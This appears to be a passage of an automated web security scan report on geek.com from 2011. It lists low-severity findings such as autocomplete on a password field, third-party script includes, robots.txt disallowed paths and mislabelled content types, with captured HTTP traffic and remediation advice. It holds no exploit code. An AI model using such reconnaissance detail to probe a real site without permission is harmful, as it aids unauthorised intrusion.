HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:21:36 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937612 1842937605
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:22:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:22:33 GMT
Connection: close
Content-Length: 56377

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<div class="loginBox">
<form name="login" method="post" action="http://www.geek.com/users/login/">
<div>
...[SNIP]...
<input name="user_login" type="text" id="user_login" class="text" maxlength="40" value="" />
Password:
<input name="password" type="password" id="password" class="text" maxlength="40" />
</div>
...[SNIP]...

4. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The page contains a form with the following action URL:

http://www.geek.com/users/login/

The form contains the following password field with autocomplete enabled:

password

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

Response

5. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The response dynamically includes the following scripts from other domains:

http://common.ziffdavisinternet.com/js/s_code_remote.js
http://geek.us.intellitxt.com/intellitxt/front.asp?ipid=31004
http://redux.com/related.js?url=http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
http://w.sharethis.com/button/buttons.js?ver=3.1.2
http://www.symbiosting.com/LogicBuy/geek/content-syndicate.php

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:21:36 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937612 1842937605
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:22:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:22:33 GMT
Connection: close
Content-Length: 56377

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
</script>
<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://redux.com/related.js?url=http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/"></script>


<script type="text/javascript" src="http://geek.us.intellitxt.com/intellitxt/front.asp?ipid=31004"></script>
...[SNIP]...
</style>
<script type="text/javascript" src="http://www.symbiosting.com/LogicBuy/geek/content-syndicate.php"></script>
...[SNIP]...
</div>

<script type='text/javascript' src='http://w.sharethis.com/button/buttons.js?ver=3.1.2'></script>
...[SNIP]...

6. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.geek.com

Response

HTTP/1.0 200 OK
Server: nginx/0.8.53
Content-Type: text/plain
Last-Modified: Wed, 04 May 2011 19:31:15 GMT
Content-Length: 92
X-Varnish: 1153152398
Cache-Control: max-age=26953
Expires: Tue, 10 May 2011 20:51:50 GMT
Date: Tue, 10 May 2011 13:22:37 GMT
Connection: close

User-agent: *
Disallow: /users/
Disallow: /portable/
Disallow: /search/*
Disallow: /search/

7. Content type incorrectly stated previous
There are 3 instances of this issue:

/wp-content/themes/geek6/scripts/ajax_actions.js.php
/wp-content/themes/geek6/scripts/commonjs.php
/wp-content/themes/geek6/scripts/search.js.php

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

7.1. http://www.geek.com/wp-content/themes/geek6/scripts/ajax_actions.js.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/scripts/ajax_actions.js.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /wp-content/themes/geek6/scripts/ajax_actions.js.php HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
X-Varnish: 1154646917
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Tue, 10 May 2011 13:14:11 GMT
Date: Tue, 10 May 2011 13:14:11 GMT
Connection: close
Content-Length: 6416

function add_favourite_post(post_id) {
   $.post("http://www.geek.com/wp-content/themes/geek6/functions/ajax-query.php",
       { action: "add_favourite_post", post_id: post_id },
       function(data) {

...[SNIP]...

7.2. http://www.geek.com/wp-content/themes/geek6/scripts/commonjs.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/scripts/commonjs.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /wp-content/themes/geek6/scripts/commonjs.php HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
X-Varnish: 1154904894
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Tue, 10 May 2011 13:14:10 GMT
Date: Tue, 10 May 2011 13:14:10 GMT
Connection: close
Content-Length: 8890

function getElementsByClassName(oElm, strTagName, oClassNames){
var arrElements = (strTagName == "*" && oElm.all)? oElm.all : oElm.getElementsByTagName(strTagName);
var arrReturnElements = new Arra
...[SNIP]...

7.3. http://www.geek.com/wp-content/themes/geek6/scripts/search.js.php previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/scripts/search.js.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /wp-content/themes/geek6/scripts/search.js.php HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
X-Varnish: 924168324
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Tue, 10 May 2011 13:14:12 GMT
Date: Tue, 10 May 2011 13:14:12 GMT
Connection: close
Content-Length: 754

var req;
function init_ajax_search(obj) {
   if(req != null) req.abort();

   if($("#search_input").val() > '') {
       $("#searchpopup").show("normal").html('<span class="search-loading">Searching...</span
...[SNIP]...

Report generated by XSS.CX at Tue May 10 08:54:46 CDT 2011.